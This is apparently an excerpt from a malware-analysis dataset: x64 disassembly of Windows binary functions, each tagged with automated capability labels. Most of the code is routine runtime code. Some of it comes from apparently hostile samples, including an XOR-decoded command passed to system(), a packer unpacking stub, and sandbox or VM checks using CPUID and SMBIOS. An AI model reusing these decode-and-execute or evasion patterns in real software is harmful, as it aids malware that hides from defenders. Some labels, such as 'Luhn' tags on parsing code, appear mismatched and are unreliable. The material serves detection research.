joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180024a20
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x180064430]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x180024a76
cmp word [rdx], r9w
jne 0x180024a76
or byte [rax + rbp*8 + 0x38], 4
jmp 0x180024a7b
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x180024bfa
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x180024bc5
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x180024ac3
cmp rcx, r8
jae 0x180024ae3
cmp word [rcx], r9w
jne 0x180024ac3
add rax, 4
mov edx, r9d
jmp 0x180024ac6
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x180024a98
jmp 0x180024bfa
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180024bbe
cmp dword [rsp + 0x80], edi
je 0x180024bbe
lea r9, [0x180064430]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x180024b98
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x180024b4b
mov word [rbx], bp
jmp 0x180024bf7
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x180024b66
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x180024bf7
cmp word [rsp + 0x70], bp
jne 0x180024ba4
cmp rbx, rsi
je 0x180024b43
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180025740
cmp word [rsp + 0x70], bp
je 0x180024bfa
mov word [rbx], 0xd
jmp 0x180024bf7
mov rcx, r15
lea r9, [0x180064430]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x180024bf4
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x180024bfa
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800292b4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800292e4
xor eax, eax
jmp 0x1800293a7
mov rbp, rbx
cmp word [rax], si
je 0x180029309
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800292f0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800292ec
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002794c
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x18002934a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800292dd
call fcn.1800257f0
mov rdi, rax
test rax, rax
jne 0x180029360
xor ecx, ecx
call fcn.180023190
jmp 0x18002933f
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002794c
test eax, eax
jne 0x180029391
mov rcx, rdi
call fcn.180023190
jmp 0x18002939b
xor ecx, ecx
call fcn.180023190
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18002c0b8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rdx
mov dword [rsp + 0x30], esi
mov rbx, rcx
test rcx, rcx
je 0x18002c12b
cmp word [rcx], si
je 0x18002c12b
lea rdx, [0x180053688]
call fcn.18002e220
test eax, eax
je 0x18002c12b
lea rdx, [0x1800536a0]
mov rcx, rbx
call fcn.18002e220
test eax, eax
jne 0x18002c121
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x18002c148
mov eax, dword [rsp + 0x30]
jmp 0x18002c15a
mov rcx, rbx
call fcn.18001fe28
jmp 0x18002c15a
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
mov r9d, 2
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x18002c14c
xor eax, eax
jmp 0x18002c15a
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x18002c15a
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18002c16c
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.180020600
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x18002c20f
cmp edi, dword [rsp + 0x30]
je 0x18002c208
test ebp, ebp
je 0x18002c208
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x18002c1e4
sub dx, 0x61
cmp dx, 0x19
ja 0x18002c1f0
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x18002c1d1
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x18002c1f4
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x18002c211
mov eax, 1
jmp 0x18002c211
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x18002e534
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180025740
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180025740
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18002e681
cmp rax, 0xffffffffffffffff
je 0x18002e681
xor edi, edi
test rbp, rbp
jle 0x18002e62f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800222e0
mov rbx, rax
test rax, rax
jne 0x18002e5bc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18002e625
mov edx, 0x8000
mov ecx, r14d
call fcn.18002e3b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180022e5c
cmp eax, 0xffffffff
je 0x18002e605
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18002e5cc
mov edx, r15d
mov ecx, r14d
call fcn.18002e3b8
jmp 0x18002e625
cmp byte [rsi + 0x38], dil
je 0x18002e61c
cmp dword [rsi + 0x34], 5
jne 0x18002e61c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18002e625
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180023190
jmp 0x18002e693
jns 0x18002e693
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180025740
cmp rax, 0xffffffffffffffff
jne 0x18002e64d
cmp byte [rsi + 0x30], dil
je 0x18002e693
jmp 0x18002e689
mov ecx, r14d
call fcn.180029a64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18002e693
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18002e693
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18002e68e
mov edi, dword [rsi + 0x2c]
jmp 0x18002e693
mov edi, 0x16
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180025740
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18002e8f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18002e918
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18002e918
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000beb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000bebd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000becd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000beb5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14000bee5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000bed2
sub eax, 3
jb 0x14000beff
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000bf36
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14000bf26
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000bf24
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000bf13
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14000be72
jmp 0x14000bebd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2200
mov dl, 1
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000bf82
cmp rsi, rcx
jae 0x14000bf8a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000bf69
cmp al, 0x8f
ja 0x14000bf69
cmp byte [rsi - 2], 0xf
je 0x14000bf6f
sub al, 0xe8
cmp al, 1
ja 0x14000bf53
cmp rsi, rcx
jae 0x14000bf8a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000bf59
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000bf8a
lodsb al, byte [rsi]
jmp 0x14000bf69
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x9000]
mov eax, dword [rdi]
or eax, eax
je 0x14000bfe7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xc1e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000bf97
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000bfe1
mov qword [rbx], rax
add rbx, 8
jmp 0x14000bfb7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000c021
cmp al, 0xef
ja 0x14000c013
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000bff3
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000c002
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000c075
sub rsp, 0xffffffffffffff80
jmp 0x14000239c
Function at 0x140005ea0
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0xf8
lea rcx, [0x140041090]
movups xmm0, xmmword [rcx]
mov eax, dword [rcx + 0xa0]
lea rdx, [rsp + 0x30]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x60], xmm0
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm0
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x80], xmm1
movups xmmword [rdx + 0x90], xmm0
mov dword [rdx + 0xa0], eax
movzx eax, word [rcx + 0xa4]
xor ecx, ecx
cmp dword [0x14004a028], 2
mov word [rdx + 0xa4], ax
jl 0x140006074
movdqa xmm0, xmmword [0x140041420]
lea rdx, [rsp + 0x34]
movdqa xmm4, xmmword [0x1400413f0]
movdqa xmm3, xmmword [0x140041430]
movdqa xmm5, xmmword [str.1111]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0xe0], xmm6
movdqa xmm6, xmmword [0x140041410]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0xa0
jl 0x140005f80
movaps xmm6, xmmword [rsp + 0xe0]
cmp ecx, 0xa6
jge 0x1400060b2
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x31
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xa6
jl 0x140006080
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0xf8
ret
Function at 0x140006450
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14004a080]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov eax, 1
mov ecx, 0xff
cpuid
shr edx, 0x1c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x24], ebx
test dl, 1
jne 0x14000649a
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140035550
add rsp, 0x70
pop rbx
ret
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x26]
cmp eax, dword [rsp + 0x50]
setg al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140035550
add rsp, 0x70
pop rbx
ret

Function at 0x140009340
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x14004a080]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r9, rbx
mov qword [rsp + 0x30], 0
mov r8d, 0x104
mov qword [rsp + 0x20], 0x104
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400093ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400093ba
xor al, al
jmp 0x1400093bc
mov al, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140035550
add rsp, 0x160
pop rbx
ret

Function at 0x1400094b0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1250
call fcn.140035fd0
sub rsp, rax
mov rax, qword [0x14004a080]
xor rax, rsp
mov qword [rsp + 0x1240], rax
mov rbp, rcx
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000956b
mov esi, dword [rsp + 0x20]
xor ebx, ebx
shr esi, 2
test esi, esi
je 0x14000956b
nop dword [rax + rax]
mov r8d, dword [rsp + rbx*4 + 0x30]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140009565
mov r9d, 0x104
lea r8, [rsp + 0x1030]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000955c
mov rdx, rbp
lea rcx, [rsp + 0x1030]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140009596
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, esi
jb 0x140009510
xor al, al
mov rcx, qword [rsp + 0x1240]
xor rcx, rsp
call fcn.140035550
lea r11, [rsp + 0x1250]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000956d
Function at 0x14001ea90
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x14004a080]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov rbx, r8
mov rdi, rdx
mov qword [rsp + 0x38], r14
lea r8, [rsp + 0x38]
mov dword [rsp + 0x30], r14d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x40], r14d
mov rdx, qword [rbx]
mov esi, r14d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14001ebb7
mov rbp, qword [rbx + 8]
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rdx, rbp
xor r8d, r8d
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14001ebb7
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x40]
mov rbx, rax
xor r8d, r8d
lea rax, [rsp + 0x30]
mov rdx, rbp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r9d, r14d
cmp dword [rbx], r14d
jbe 0x14001ebb3
mov r8d, dword [rbx + 0x10]
mov edx, r14d
test r8d, r8d
je 0x14001ebab
mov eax, r9d
lea rcx, [rax + rax*8]
lea r10, [rcx*4]
nop
mov eax, edx
lea rcx, [rax + rax*4]
mov eax, r8d
lea rcx, [r10 + rcx*4]
cmp byte [rcx + rbx + 0x14], 3
jne 0x14001eba2
test rdi, rdi
je 0x14001eba0
mov rax, qword [rcx + rbx + 0x18]
mov qword [rdi + 8], rax
mov eax, dword [rcx + rbx + 0x20]
mov qword [rdi], rax
add rdi, 0x10
mov eax, dword [rbx + 0x10]
inc esi
inc edx
mov r8d, eax
cmp edx, eax
jb 0x14001eb70
inc r9d
cmp r9d, dword [rbx]
jb 0x14001eb54
mov eax, esi
jmp 0x14001ebb9
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140035550
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x140021e90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x140021ed4
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140021ec0
ret

Function at 0x1400220e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140022114
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140022100
ret

Function at 0x1400230d0
Capabilities:
Get system firmware table

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov ecx, 0xe0
call fcn.1400355ec
mov rbx, rax
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], 0xf
mov byte [rax + 0x20], sil
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], rsi
mov qword [rax + 0x58], 0xf
mov byte [rax + 0x40], sil
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rsi
mov qword [rax + 0x78], 0xf
mov byte [rax + 0x60], sil
movups xmmword [rax + 0x80], xmm0
mov qword [rax + 0x90], rsi
mov qword [rax + 0x98], 0xf
mov byte [rax + 0x80], sil
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], rsi
mov qword [rax + 0xb8], 0xf
mov byte [rax + 0xa0], sil
movups xmmword [rax + 0xc0], xmm0
mov qword [rax + 0xd0], rsi
mov qword [rax + 0xd8], 0xf
mov byte [rax + 0xc0], sil
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
nop
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140030410
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
mov ebp, 0xfffd
nop word [rax + rax]
movzx ecx, word [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x1400304f3
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1400304f3
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140030511
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x1400304e3
cmp word [rcx], 0x5c
jne 0x1400304dc
lea rdx, [rcx + 2]
cmp rdx, rax
je 0x1400304dc
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1400304c7
movzx eax, word [rdx]
sub ax, 0x28
cmp ax, 1
jbe 0x1400304d9
test r8b, 0x10
jne 0x1400304dc
movzx eax, word [rdx]
sub ax, 0x7b
test bp, ax
jne 0x1400304dc
mov rcx, rdx
lea rax, [rcx + 2]
mov qword [rbx], rax
mov rcx, rbx
call fcn.1400275e0
test edi, edi
jne 0x140030440
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.1400275d0
int3

Function at 0x1400315b0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140031675
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140031675
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14003168e
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x140031665
cmp byte [rcx], 0x5c
jne 0x14003165e
lea rdx, [rcx + 1]
